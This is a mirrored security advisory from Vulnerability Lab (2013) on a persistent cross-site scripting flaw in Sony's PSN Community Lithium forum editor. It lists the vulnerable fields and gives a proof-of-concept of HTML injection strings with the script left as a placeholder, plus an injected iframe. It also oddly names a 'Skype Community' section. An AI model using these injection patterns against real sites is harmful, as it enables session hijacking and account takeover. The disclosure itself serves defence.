what you don't know can hurt you

Sony PSN Community Lithium Forums 2012 Q4 XSS

Sony PSN Community Lithium Forums 2012 Q4 XSS
Posted May 13, 2013
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Sony PSN Community Lithium Forums 2012 Q4 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | cc46d0f720fa2ef08fec3e0a087cf932

Sony PSN Community Lithium Forums 2012 Q4 XSS

Change Mirror Download
Title:
======
Sony PSN Community - Persistent Web Vulnerability


Date:
=====
2013-05-04


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=746


VL-ID:
=====
746


Common Vulnerability Scoring System:
====================================
3.5


Introduction:
=============
PlayStation Network, often abbreviated as PSN, is an online multiplayer gaming and digital media delivery service provided/run
by Sony Computer Entertainment for use with the PlayStation 3, PlayStation Portable, and PlayStation Vita video game consoles.
The PlayStation Network is the video game portion of the Sony Entertainment Network.

(Copy of the Homepage: http://en.wikipedia.org/wiki/PlayStation_Network)


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Sony`s official PSN Community Website Application.


Report-Timeline:
================
2012-11-01: Researcher Notification & Coordination
2012-11-02: Vendor Notification
2013-05-05: Public Disclosure


Status:
========
Published


Affected Products:
==================
Sony
Product: PSN Community - Lithium Forums 2012 Q4


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
Multiple persistent input validation vulnerabilities are located in Sony`s official PSN Community Website Application.
The bug allows remote attackers with low account privileges to inject via editor & replace function own malicious
persistent script codes. The vulnerabilities are located in the forum editor module with the replace function and the
bound vulnerable message titel, subject and link parameters. Remote attackers can compose malicious forum posts to
hijack psn admin/moderator/customer accounts. Successful exploitation result in persistent web context manipulation,
application side phishing, persistent malware loads, external redirects or persistent session hijacking via forum messages.


Vulnerable Section(s):
[+] Skype Community (Forums) - Lithium Forum

Vulnerable Module(s):
[+] Editor (in combination with the replace all function to execute)

Vulnerable Parameter(s):
[+] Message Subject, Topic Title & Link Widget


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low or medium required user inter action and with low privileged
psn application service user account. For demonstration or reproduce ...


PoC:

<label for="lia-subject" class="lia-form-label">Subject</label>

<input style="" class="lia-form-subject-input lia-form-type-text lia-form-input-vertical"
maxlength="2000"
value=>"<>>"><[PERSISTENT INECTED SCRIPT CODE!]"Re: Bug Report VL ID 740 " id="lia-subject" name="subject" type="text">

... or in the body


<a target="_self" title=<>>"><[PERSISTENT INECTED SCRIPT CODE!]" data-mce-href="<>>"><[PERSISTENT INECTED SCRIPT CODE!] >"
<>"<<>>"><[PERSISTENT INECTED SCRIPT CODE!]>" href="http://>"<>"<<>>"><[PERSISTENT INECTED SCRIPT CODE!]>.com
>"<>"<<>>"><[PERSISTENT INECTED SCRIPT CODE!]>">>"<>"<<>>"><[PERSISTENT INECTED SCRIPT CODE!]">
>"<>"<iframe src=http://vw.de></iframe></a>



Reference(s): (SIMULATION - TEST)
http://community.eu.playstation.com/t5/forums/replypage/board-id/bDE_PSNSupport/message-id/18905


Reference(s):
../compose.htm
../compose2.htm


Picture(s):
../1.png
../2.png
../3.png
../4.png


Risk:
=====
The security risk of the persistent input validation vulnerabilities are estimated as medium(+)||(-)high.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

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Copyright © 2013 | Vulnerability Laboratory



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